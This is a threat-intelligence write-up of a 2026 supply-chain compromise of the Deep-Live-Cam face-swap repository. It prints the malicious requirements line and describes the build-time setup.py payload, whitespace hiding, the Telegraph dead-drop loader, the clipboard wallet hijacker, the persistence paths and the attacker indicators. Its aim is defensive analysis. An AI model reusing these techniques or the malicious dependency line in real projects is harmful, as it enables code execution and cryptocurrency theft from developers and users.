Deep-Live-Cam (96.6k-star face-swap app) supply-chain compromise
Tags
- ops
- operations
- supply chain attack
- Python supply chain
- pip source dependency
- setup.py execution
- build-time code execution
- dependency confusion
- typosquatting
- GitHub account compromise
- Deep-Live-Cam
- pypls/requests
- whitespace hiding
- CJK variable names
- Telegraph dead drop
- clipboard hijacker
- cryptocurrency address replacement
- wallet address swapping
- Base58Check
- Bech32
- EIP-55
- Keccak-256
- persistence
- Run key
- LaunchAgent
- Russian-language indicator
- SafeDep
- MITRE ATT&CK
Summary
SafeDep analyzed a supply-chain compromise of Deep-Live-Cam, a Python real-time face-swap application with 96,600 GitHub stars. On September 8, 2026 at 15:58:54 UTC, a commit titled chore: update requirements.txt (revision 7895c547, pushed to main under the maintainer's account hacksider) rewrote 18 dependency entries to use source repositories and added one malicious line:
requests @ git+https://github.com/pypls/requests.git
The pypls account and its requests repository were created September 5, 2026, three days before the commit (the Telegraph payload page carries the same September 5 timestamp). The fake repo declares the package name requests and retains metadata linking to the legitimate Requests project; the bulk rewrite of the other 18 entries makes the added source URL less distinct in review (concealment is a plausible motive, though the diff alone does not prove intent). Issue #1930 flagged the dependency at 01:26:18 UTC Sep 9; the revert (55d306d5) landed at 01:37:35, the malicious revision sat on main for about 9 hours 39 minutes. The maintainer reported unusual account access despite two-factor authentication and rotated passwords and keys, an account-compromise assessment, though the credential path (token / SSH key / session) is unidentified.
SafeDep establishes malicious behavior in the code but explicitly does not claim infection counts or financial losses.
Attack chain
1. Build-time execution. The malicious dependency selects the standard setuptools.build_meta backend; pip calls the build backend during source installs, and setuptools executes setup.py, so code runs before the user ever launches the app, and an install error afterward does not undo execution. Line 2 of the malicious setup.py starts import sys, then 434 spaces push the payload past the visible area of most editors and review tools, followed by exec(compile(...)) over Base64 + zlib layers. CJK variable names (一時1, シード5, 字符4, モジュール10) add visual noise to defeat casual reading. The hidden code precedes the Python-version guard, so the version check is not a sandbox.
2. Platform loader. Stage 2 selects Windows or macOS (exits elsewhere). Its download URL is hex-encoded, decoded: hxxps://graph[.]org/coding-utf-8-09-05-2, a Telegraph (graph.org) article page serving the next Python stage inside <article> tags (live at analysis time). The loader strips HTML, decodes entities, writes the script locally, and fires a counter hit to hxxps://abacus[.]jasoncameron[.]dev/hit/duff[.]com/info before spawning the child (a hit does not prove execution).
3. Clipboard hijacker (stage 4). A loop every 0.3 s reads the clipboard (Win32 APIs / pbpaste), scans changed text for 26-120-character alphanumeric candidates, and runs a real address classifier, Base58Check (BTC, TRX), Bech32/Bech32m witness checks, Ethereum Keccak-256 + EIP-55 mixed-case validation, Solana Base58→32-byte decoding, then replaces recognized wallet addresses mid-text via regex substitution and writes back (SetClipboardData / pbcopy). A Russian error string, Неизвестный тип кошелька ("Unknown wallet type"), is a minor language-origin indicator. Linux clipboard helpers exist in the payload but the loader exits on Linux, so this delivery path has no Linux exposure.
4. Persistence. Windows: SysHelper value under HKCU\Software\Microsoft\Windows\CurrentVersion\Run, launching the script with CREATE_NO_WINDOW. macOS: ~/Library/LaunchAgents/com.user.syshelper.plist, new session, stdout/stderr discarded. If the script file already exists, the loader skips download and just runs it.
Indicators (as published by SafeDep)
| Type | Indicator |
|---|---|
| Malicious dependency | hxxps://github[.]com/pypls/requests (rev 43f402baa9d00d986d2be3e3cd6d1a3e69ec1f8f) |
| Deep-Live-Cam revisions | malicious 7895c547a6788ee53e5c7c34e93454f86f6d2b53; revert 55d306d5ae07a4e6494013422ab244306a5c0879 |
| Payload page | hxxps://graph[.]org/coding-utf-8-09-05-2 (Telegraph) |
| Counter beacon | hxxps://abacus[.]jasoncameron[.]dev/hit/duff[.]com/info |
| Windows artifacts | %LOCALAPPDATA%\WindowsHelper\sys.pyw; Run value SysHelper |
| macOS artifacts | ~/Library/Application Support/HowToFind/sys.py; ~/Library/LaunchAgents/com.user.syshelper.plist |
| Attacker email | from pypls commits (see SafeDep post) |
| Replacement addresses | ETH 0x58d28b72c54A5b645201900c8aA8550ad7f7d90b; BTC legacy 1LeCcPytFxpeo6Leujc4USuCwec9oDFa92; BTC P2SH 3LKB1j9zgmSdaNWy3iLCiHVaV6b1qpLRXB; BTC P2WPKH bc1q42m55rrtzjzf05dhp4az02lqqkpjemjddwwht3; BTC P2WSH/P2TR bc1p68qmln48g90mpv6ukrmmhvp64qvx4evgu0h5s9mf6ljwp0n6ahnswhnpa6; TRX TDfqUBRSnXcEeLWSGHKSWPAhRSySqEiykQ; SOL 6ig8v2AAvVQh4qK5JBS9ZTSWRjCKTHhEq4SMV8oqWfmu |
| SHA-256 | setup.py b34818f9…e4a5e6f4; stage1 f6fbefc8…2585064f5; stage2 175f9e7f…0e4f6ced; stage2_from_c2 eafed300…710017570; stage3 c91a00b5…c2d6764d9; stage4 73cb3c0e…0161dd0561 |
Why this matters
- A GitHub-referenced pip dependency is arbitrary code execution on every install.
pip install git+https://…with a setuptools backend runssetup.pybefore the application starts, outside the app's trust boundary. Pinning to a source repo instead of a published wheel silently trades registry review affordances for attacker-controlled build execution. - Whitespace + non-ASCII identifiers are diff-review evasions. 434 leading spaces push executable statements off-screen; CJK variable names add noise. Reviewers and diff tools that fold long lines are blind to this by design, a reusable hunting pivot for
requirements.txt/pyproject.tomldiffs that bulk-rewrite dependency sources. - Bulk dependency rewrites mask single malicious lines. When a PR changes many dependency entries at once, treat each changed source location as a new supply-chain edge, not the diff's overall tidiness as a trust signal.
- Legitimate free services carry the chain (GitHub repo, Telegraph page, public counter endpoint), takedown of one hop doesn't collapse the pipeline, and the page-based dead drop means the final payload can change without touching the repo.
- Clipboard hijacking is a silent money-theft primitive: it needs no admin, hooks nothing, and only fires when the victim copies an address, the 0.3 s polling loop,
CREATE_NO_WINDOW/detached-session execution, and the two persistence paths are the durable host tells. - 2FA-protected maintainer accounts are being reached anyway. The maintainer's account was compromised despite two-factor authentication (credential path unidentified), echoing the npm/GemStuffer-era pattern where maintainer-account takeover, not package-repo weakness, is the entry point.
MITRE ATT&CK (selected)
- T1195.002, supply-chain compromise via malicious dependency (compromise software dependencies)
- T1059.006, Python execution through the pip build backend
- T1036.007 / T1102, masquerading as the legitimate
requestspackage; dead-drop via a legitimate web service (Telegraph) - T1566-adjacent wallet substitution: T1657-style financial manipulation via clipboard address replacement
- T1547.001 (HKCU Run) / T1543.003-equivalent (user LaunchAgent), persistence
Sources
- SafeDep, "Deep-Live-Cam Supply Chain Attack: Technical Analysis," September 9, 2026, https://safedep.io/deep-live-cam-supply-chain-attack
Related
- GemStuffer RubyGems campaign, same "package-registry machinery as untrusted code execution" lesson on the RubyDoc side.
- ulid-xyz transitive delivery chain, npm analogue of delivery through dependency metadata rather than a registry upload.